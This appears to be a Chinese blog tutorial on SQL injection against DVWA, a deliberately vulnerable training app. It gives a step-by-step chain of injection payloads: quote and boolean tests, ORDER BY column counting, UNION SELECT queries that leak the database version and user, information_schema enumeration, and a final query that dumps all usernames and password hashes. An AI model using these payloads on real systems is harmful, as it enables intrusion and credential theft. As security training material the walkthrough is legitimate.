#|DVWA-sql注入漏洞详解

1、判断是否存在SQL注入点 DVWA安全级别为“Low”
(1)判断是否存在漏洞
Id值输入为1,发现正常显示
#|DVWA-sql注入漏洞详解
文章图片

Id值输入为1’,发现报错
#|DVWA-sql注入漏洞详解
文章图片

判断存在sql注入漏洞
(2)判断是否存在数字型漏洞
输入1 and 1=1 显示正常
#|DVWA-sql注入漏洞详解
文章图片

输入1 and 1=2,显示仍然正常
#|DVWA-sql注入漏洞详解
文章图片

故,判断不存在数字型漏洞
(3)判断是否存在字符型漏洞
输入1’ and ‘1’=’1,正常显示
#|DVWA-sql注入漏洞详解
文章图片

输入1’ and ‘1’=’2,没有显示结果
#|DVWA-sql注入漏洞详解
文章图片

#|DVWA-sql注入漏洞详解
文章图片

故判断,此处存在一个sql注入漏洞,并且是字符型的漏洞
2、判断数据表的列数 使用order by函数,以及二分法判断列数
(1)第一步测试(10列)
输入1' order by 10 #,显示错误,故不存在10列
#|DVWA-sql注入漏洞详解
文章图片

(2)第二步测试(5列)
【#|DVWA-sql注入漏洞详解】1' order by 5 #,结果还是错误,故不存在5列
#|DVWA-sql注入漏洞详解
文章图片

(3)第三步测试(3列)
1' order by 3#,还是不正确,故也不存在3列
#|DVWA-sql注入漏洞详解
文章图片

(4)第四步测试(2列)
1' order by 2#
#|DVWA-sql注入漏洞详解
文章图片

显示出了结果,故判断该数据表存在两列数据
3、联合查询,判断回显位置 通过order by函数判断该数据表存在两列数据
使用1' union select 1,2 #,查看两列数据是否都正常显示
#|DVWA-sql注入漏洞详解
文章图片

结果判断,两列数据都能够正常显示
4、爆出MYSQL版本号、MYSQL连接用户、当前数据库、安装路径、操作系统等3个关键信息 (1)MYSQL版本号—>version()函数

1' union select version(),2 #

#|DVWA-sql注入漏洞详解
文章图片

显示当前数据库版本号为5.5.65-MariaDB
(2)MYSQL连接用户—>session_user()函数
1' union select session_user(),2 #

#|DVWA-sql注入漏洞详解
文章图片

显示当前数据库连接的用户为root@localhost
(3)当前数据库—>database()
1' union select database(),2 #

#|DVWA-sql注入漏洞详解
文章图片

显示当前数据库名称为dvwa
(4)安装路径—>@@basedir
1' union select @@basedir,2 #

#|DVWA-sql注入漏洞详解
文章图片

数据库安装路径为/usr
(5)操作系统—>@@version_compile_os
1' union select @@version_compile_os,2 #

#|DVWA-sql注入漏洞详解
文章图片

操作系统为Linux
5、最终爆出当前使用的数据库名称、数据表名称、字段名称、以及关键的字段值(比如用户名、密码等)。 (1)数据库名称
1' union select schema_name,2 from information_schema.schemata#

#|DVWA-sql注入漏洞详解
文章图片

爆出当前存在四个数据库,分别为information_schema、dvwa、mysql、performance_schema
(2)数据表名称
1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#

#|DVWA-sql注入漏洞详解
文章图片

爆出dvwa数据库中有两个表,分别为guestbook表和users表
(3)字段名称
1' union select column_name,2 from information_schema.columns where table_name='users'#

#|DVWA-sql注入漏洞详解
文章图片

爆出users表中的字段值有user_id,first_name,last_name,user,password,avatar,last_login,failed_login这几个字段
(4)关键的字段值(比如用户名、密码等)
1' union select user,password from dvwa.users#

#|DVWA-sql注入漏洞详解
文章图片

成功爆出users表中所有用户的账号和密码

    推荐阅读